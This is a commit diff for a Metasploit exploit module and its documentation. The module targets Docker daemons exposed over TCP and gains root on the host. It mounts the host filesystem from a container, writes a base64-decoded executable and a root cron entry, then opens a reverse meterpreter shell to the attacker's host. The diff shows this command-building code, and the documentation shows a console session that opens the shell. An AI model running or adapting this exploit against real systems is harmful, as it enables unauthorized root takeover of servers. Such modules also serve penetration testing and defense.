Skip to content

Commit d8ff99b

Browse files
committed
Change to ARCH_X64, remove python dependency
1 parent 015e30c commit d8ff99b

File tree

2 files changed

+17
-28
lines changed

2 files changed

+17
-28
lines changed

documentation/modules/exploit/linux/http/docker_daemon_tcp.md

Lines changed: 7 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -88,8 +88,8 @@ to gain root access to the hosting server of the Docker container.
8888
msf > use exploit/linux/http/docker_daemon_tcp
8989
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
9090
RHOST => 192.168.66.23
91-
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
92-
PAYLOAD => python/meterpreter/reverse_tcp
91+
msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
92+
PAYLOAD => linux/x64/meterpreter/reverse_tcp
9393
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
9494
LHOST => 192.168.66.10
9595
msf exploit(docker_daemon_tcp) > set VERBOSE true
@@ -108,18 +108,17 @@ msf exploit(docker_daemon_tcp) > run
108108
[*] Waiting for the cron job to run, can take up to 60 seconds
109109
[*] Waiting until the docker container stopped
110110
[*] The docker container has been stopped, now trying to remove it
111-
[*] Sending stage (40411 bytes) to 192.168.66.23
111+
[*] Sending stage (2878936 bytes) to 192.168.66.23
112112
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
113113
[+] Deleted /etc/cron.d/lVoepNpy
114114
[+] Deleted /tmp/poasDIuZ
115115
116116
117117
meterpreter > sysinfo
118-
Computer : debian
119-
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
120-
Architecture : x64
121-
System Language : en_US
122-
Meterpreter : python/linux
118+
Computer : rancher
119+
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
120+
Architecture : x64
121+
Meterpreter : x64/linux
123122
meterpreter >
124123
```
125124

modules/exploits/linux/http/docker_daemon_tcp.rb

Lines changed: 10 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -32,24 +32,17 @@ def initialize(info = {})
3232
['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
3333
],
3434
'DisclosureDate' => 'Jul 25, 2017',
35-
'Targets' => [
36-
[ 'Python', {
37-
'Platform' => 'python',
38-
'Arch' => ARCH_PYTHON,
39-
'Payload' => {
40-
'Compat' => {
41-
'ConnectionType' => 'reverse noconn none tunnel'
42-
}
43-
}
44-
}]
45-
],
46-
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
35+
'Platform' => 'Linux',
36+
'Arch' => [ARCH_X64],
37+
'Payload' => { 'Space' => 65000 },
38+
'Targets' => [[ 'Linux', {} ]],
39+
'DefaultOptions' => { 'WfsDelay' => 180 },
4740
'DefaultTarget' => 0))
4841

4942
register_options(
5043
[
5144
Opt::RPORT(2375),
52-
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
45+
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
5346
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
5447
]
5548
)
@@ -88,13 +81,10 @@ def make_cmd(mnt_path, cron_path, payload_path)
8881
echo_cron_path = mnt_path + cron_path
8982
echo_payload_path = mnt_path + payload_path
9083

91-
cron_command = "python #{payload_path}"
92-
payload_data = payload.raw
93-
94-
command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
95-
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
96-
command << "echo \"\" >> #{echo_cron_path} && "
97-
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
84+
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
85+
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
86+
command << "echo \"\" >> #{echo_cron_path} \&\& "
87+
command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
9888

9989
command
10090
end

0 commit comments

Comments
 (0)